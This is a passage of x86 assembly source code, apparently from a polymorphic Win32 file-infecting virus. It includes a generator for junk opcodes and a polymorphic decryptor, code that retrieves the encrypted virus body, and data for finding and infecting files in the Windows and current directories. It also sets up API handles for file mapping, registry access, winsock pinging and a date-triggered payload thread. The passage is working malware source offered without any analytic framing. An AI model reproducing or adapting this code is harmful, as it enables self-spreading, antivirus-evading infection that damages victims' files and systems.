call GetRand ; get a random number from 0 to 7
|
|
xchg eax, edx
|
|
|
|
lea ebx, [ebp+OpcodeTable]
|
|
xlat ; get the choosen opcode
|
|
stosb ; and save it to edi
|
|
xor eax, eax ; clean eax
|
|
; get first Register
|
|
mov al, byte ptr [ebp+Reg1]
|
|
shl eax, 3h ; multiply with 8
|
|
add eax, 0c0h ; add base
|
|
; add the second register
|
|
add al, byte ptr [ebp+Reg2]
|
|
stosb ; save opcode
|
|
|
|
XchangeRegs: ; we get new ones and exchange them
|
|
Call GetRegs ; cause the rnd - generator relies on them *g*
|
|
mov al, byte ptr [ebp+Reg1]
|
|
mov ah, byte ptr [ebp+Reg2]
|
|
mov byte ptr [ebp+Reg1], ah
|
|
mov byte ptr [ebp+Reg2], al
|
|
|
|
|
|
pop ecx ; restore ecx
|
|
loop RandJunkLoop ; and loop
|
|
|
|
pop ecx ; we need the additional lenght
|
|
shl ecx, 1 ; multiply with 2
|
|
; save it
|
|
add dword ptr [ebp+LoopLen], ecx
|
|
add dword ptr [ebp+PolyLen], ecx
|
|
|
|
|
|
ret
|
|
|
|
OpcodeTable:
|
|
db 08Bh ; mov
|
|
db 033h ; xor
|
|
db 00Bh ; or
|
|
db 02Bh ; sub
|
|
db 003h ; add
|
|
db 023h ; and
|
|
db 013h ; adc
|
|
db 01Bh ; sbb
|
|
|
|
|
|
GetRegs: ; select two registers to use
|
|
; set to Error
|
|
pushad
|
|
mov byte ptr [ebp+Reg1], -1
|
|
mov byte ptr [ebp+Reg2], -1
|
|
|
|
lea edi, [ebp+Reg1]
|
|
mov ecx, 2
|
|
; now we choose 2 registers we use
|
|
|
|
NextReg: ; to make the junk code look realistic
|
|
push ecx
|
|
push 8h
|
|
pop ecx
|
|
call GetRand
|
|
pop ecx
|
|
|
|
cmp edx, 1h ; we will not use ECX
|
|
je NextReg
|
|
cmp edx, 4h ; ESP
|
|
je NextReg
|
|
cmp edx, 6h ; or ESI, cause these values are important
|
|
je NextReg ; for the decryptor or the virus to work.
|
|
mov al, dl ; save it
|
|
stosb
|
|
loop NextReg
|
|
|
|
popad
|
|
ret
|
|
|
|
; ***************************************************************************
|
|
; -------------------------[ Get esi from stack ]----------------------------
|
|
; ***************************************************************************
|
|
|
|
GenerateESI:
|
|
; the first thing we do is to get the
|
|
; start of the crypted code, this is simpel,
|
|
; it is our return address, so we get it from
|
|
; stack
|
|
; there are 3 different ways we can do this
|
|
push 3h
|
|
pop ecx
|
|
call GetRand
|
|
dec edx ; which way to we use ?
|
|
|
|
jnz ESI2
|
|
|
|
ESI1:
|
|
lea esi, [ebp+movESI] ; use the mov esi, [esp] instruction
|
|
movsw ; 3 bytes long
|
|
movsb
|
|
add dword ptr [ebp+PolyLen], 3h
|
|
|
|
jmp EndESI ; get back
|
|
|
|
|
|
ESI2: ; we simply pop esi and push it again
|
|
dec edx
|
|
jnz ESI3
|
|
|
|
mov al, 5eh ; pop esi
|
|
stosb
|
|
mov al, 56h
|
|
stosb ; push esi
|
|
add dword ptr [ebp+PolyLen],2h
|
|
jmp EndESI
|
|
|
|
|
|
ESI3:
|
|
push 5h
|
|
pop ecx
|
|
call GetRand
|
|
xchg eax, edx
|
|
cmp al, 1h ; if we got ecx, we use eax
|
|
jne ESI3b
|
|
xor eax, eax
|
|
|
|
ESI3b:
|
|
mov edx, eax
|
|
push edx ; save edx
|
|
add eax, 58h ; pop a register
|
|
|
|
stosb
|
|
|
|
pop eax ; push the value again
|
|
push eax
|
|
add eax, 50h
|
|
stosb
|
|
|
|
mov al, 08bh ; and finally move it to esi
|
|
stosb
|
|
pop eax
|
|
mov al, 0f0h
|
|
add al, dl
|
|
stosb
|
|
add dword ptr [ebp+PolyLen], 4h
|
|
|
|
EndESI:
|
|
ret
|
|
|
|
; code to retrieve the start of crypt-code
|
|
movESI db 8bh, 34h, 24h ; mov esi, [esp]
|
|
|
|
|
|
; ***************************************************************************
|
|
; --------------------------[ Move the size to ECX ]-------------------------
|
|
; ***************************************************************************
|
|
|
|
GenerateECX: ; here we put the size of the crypted
|
|
; part in ecx
|
|
|
|
push 3h
|
|
pop ecx
|
|
call GetRand ; random Nr in edx
|
|
inc edx ; increase
|
|
|
|
ECX1: ; use a simple mov
|
|
dec edx
|
|
jnz ECX2
|
|
|
|
mov al, 0b9h ; mov
|
|
call StoreALValue
|
|
|
|
jmp EndECX
|
|
|
|
ECX2: ; let's use a push ( value )
|
|
dec edx ; pop ecx
|
|
jnz ECX3
|
|
|
|
mov al, 068h ; push
|
|
call StoreALValue
|
|
|
|
mov al, 59h ; save the pop ecx
|
|
stosb
|
|
add dword ptr [ebp+PolyLen], 1h
|
|
|
|
jmp EndECX
|
|
|
|
ECX3:
|
|
push -1
|
|
pop ecx
|
|
call GetRand
|
|
mov eax, VirusSize
|
|
shl edx, 26d
|
|
shr edx, 26d
|
|
sub eax, edx
|
|
|
|
push eax ; mov ecx, Size - X
|
|
mov al, 0b9h
|
|
stosb ; and the size we need to decrypt
|
|
pop eax
|
|
stosb
|
|
call StoShrEAX
|
|
|
|
mov ax, 0c181h ; add ecx, X
|
|
stosw
|
|
xor eax, eax
|
|
mov al, dl
|
|
|
|
stosb
|
|
call StoShrEAX
|
|
add dword ptr [ebp+PolyLen], 11d
|
|
|
|
jmp EndECX ; finish
|
|
|
|
|
|
StoreECX: ; save the mov
|
|
push ax ; save the register
|
|
|
|
mov al, 0b8h ; save the mov reg, size
|
|
add al, dl
|
|
call StoreALValue
|
|
|
|
mov al, 03h ; add ecx, reg
|
|
stosb
|
|
pop ax ; get the chosen register
|
|
add al, 0c8h
|
|
stosb
|
|
|
|
add dword ptr [ebp+PolyLen], 4h
|
|
|
|
EndECX: ; let's return
|
|
ret
|
|
|
|
|
|
StoShrEAX: ; to save dwords backwards
|
|
push 3
|
|
pop ecx
|
|
StoShrEAXLoop:
|
|
shr eax, 8
|
|
stosb
|
|
loop StoShrEAXLoop
|
|
ret
|
|
|
|
|
|
StoreALValue: ; we store the instruction in al
|
|
stosb ; and the size we need to decrypt
|
|
mov eax, FirstLSize ; eax, size
|
|
stosb
|
|
call StoShrEAX
|
|
|
|
add dword ptr [ebp+PolyLen], 5h
|
|
add dword ptr [ebp+LoopLen], 5h
|
|
ret
|
|
|
|
|
|
; ***************************************************************************
|
|
; -------------------[ Data which does not travel ]--------------------------
|
|
; ***************************************************************************
|
|
VirusEnd: ; ok, this data will travel, but will be generated
|
|
; new on each run
|
|
|
|
PDecrypt: ; here will we add the polymorphic
|
|
; decryption routine later, but not included
|
|
; into 1.st generation
|
|
ret ; so we just return
|
|
|
|
db 150d dup (0h) ; we keep 150 bytes free, so we have a buffer
|
|
; for the poly decryptor
|
|
|
|
|
|
|
|
; here we save the data which does not
|
|
; travel which each copy of the virus
|
|
|
|
PolyKey db (?) ; key for the poly decryptor
|
|
PolyLen dd (?) ; lenght of decryptor
|
|
VirLen dd (?) ; virus lenght + decryptor
|
|
LoopLen dd (?) ; lenght of the decryption loop
|
|
CryptType dd (?) ; we save which kind of encryption we use
|
|
|
|
Reg1 db (?) ; here we save the registers we use for the junk
|
|
Reg2 db (?) ; code
|
|
|
|
SEH_Save dd (?) ; We save the original SEH
|
|
|
|
; Handles of the dll's we use
|
|
K32Handle dd (?) ; Kernel32.dll might be nessecairy *g*
|
|
IHLHandle dd (?) ; Imagehlp.dll to create checksums
|
|
ADVHandle dd (?) ; Advapi32.dll for registry access
|
|
W32Handle dd (?) ; Winsck32.dll for pinging
|
|
|
|
; The Offsets of the API's we use
|
|
XLoadLibraryA dd (?) ; Here we save their Offset
|
|
XGetProcAddress dd (?)
|
|
|
|
XFindFirstFileA dd (?)
|
|
XFindNextFileA dd (?)
|
|
XFindClose dd (?)
|
|
XCreateFileA dd (?)
|
|
XSetFileAttributesA dd (?)
|
|
XCloseHandle dd (?)
|
|
XCreateFileMappingA dd (?)
|
|
XMapViewOfFile dd (?)
|
|
XUnmapViewOfFile dd (?)
|
|
XGetWindowsDirectoryA dd (?)
|
|
XGetSystemDirectoryA dd (?)
|
|
XGetCurrentDirectoryA dd (?)
|
|
XSetCurrentDirectoryA dd (?)
|
|
XGetFileAttributesA dd (?)
|
|
XGetTickCount dd (?)
|
|
XCreateThread dd (?)
|
|
XGetSystemTime dd (?)
|
|
|
|
XCheckSumMappedFile dd (?)
|
|
|
|
|
|
XRegOpenKeyExA dd (?)
|
|
XRegQueryValueExA dd (?)
|
|
XRegCloseKey dd (?)
|
|
|
|
Xsocket dd (?)
|
|
XWSACleanup dd (?)
|
|
XWSAStartup dd (?)
|
|
Xclosesocket dd (?)
|
|
Xsendto dd (?)
|
|
Xsetsockopt dd (?)
|
|
|
|
; Data to search Kernel
|
|
KernelAddy dd (?) ; Pointer to kernel PE-Header
|
|
MZAddy dd (?) ; Pointer to kernel MZ-Header
|
|
|
|
RegHandle dd (?) ; Handle to open Reg-Key
|
|
|
|
; Directory's
|
|
windir db 7Fh dup (0) ; here we save the directory's
|
|
curdir db 7Fh dup (0) ; we want to infect
|
|
|
|
; some data for infection
|
|
counter dw (?) ; a counter to know how many names we have compared
|
|
ATableVA dd (?) ; the Address Table VA
|
|
NTableVA dd (?) ; the Name Pointer Table VA
|
|
OTableVA dd (?) ; the Name Pointer Table VA
|
|
|
|
NewSize dd (?) ; we save the new size of the file here
|
|
CheckSum dd (?) ; checksum
|
|
HeaderSum dd (?) ; crc of header
|
|
|
|
; Data to find files
|
|
|
|
WIN32_FIND_DATA label byte
|
|
WFD_dwFileAttributes dd ?
|
|
WFD_ftCreationTime FILETIME ?
|
|
WFD_ftLastAccessTime FILETIME ?
|
|
WFD_ftLastWriteTime FILETIME ?
|
|
WFD_nFileSizeHigh dd ?
|
|
WFD_nFileSizeLow dd ?
|
|
WFD_dwReserved0 dd ?
|
|
WFD_dwReserved1 dd ?
|
|
WFD_szFileName db 260d dup (?)
|
|
WFD_szAlternateFileName db 13 dup (?)
|
|
WFD_szAlternateEnding db 03 dup (?)
|
|
|
|
FileHandle dd (?) ; handle of file
|
|
MapHandle dd (?) ; Handle of Map
|
|
MapAddress dd (?) ; offset of Map
|
|
|
|
Attributes dd (?) ; saved File-Attributes
|
|
threadID dd (?) ; payload runs in an extra thread
|
|
; we need this buffer for follwing
|
|
; the shortcuts
|
|
Buffer db 337d dup (?)
|
|
; this buffer is nessecairy
|
|
; to create a winsock connection ( ping )
|
|
WSA_DATA db 400d dup (0)
|
|
|
|
SystemTime: ; needed to get the current day
|
|
wYear dw (?)
|
|
wMonth dw (?)
|
|
wDayOfWeek dw (?) ; Sunday = 0, Monday = 1 .. etc.
|
|
wDay dw (?)
|
|
wHour dw (?)
|
|
wMinute dw (?)
|
|
wSecond dw (?)
|
|
wMilliseconds dw (?)
|
|
|
|
|
|
EndBufferData:
|
|
; ***************************************************************************
|
|
; ------------------------[ That's all folks ]-------------------------------
|
|
; ***************************************************************************
|
|
end Virus |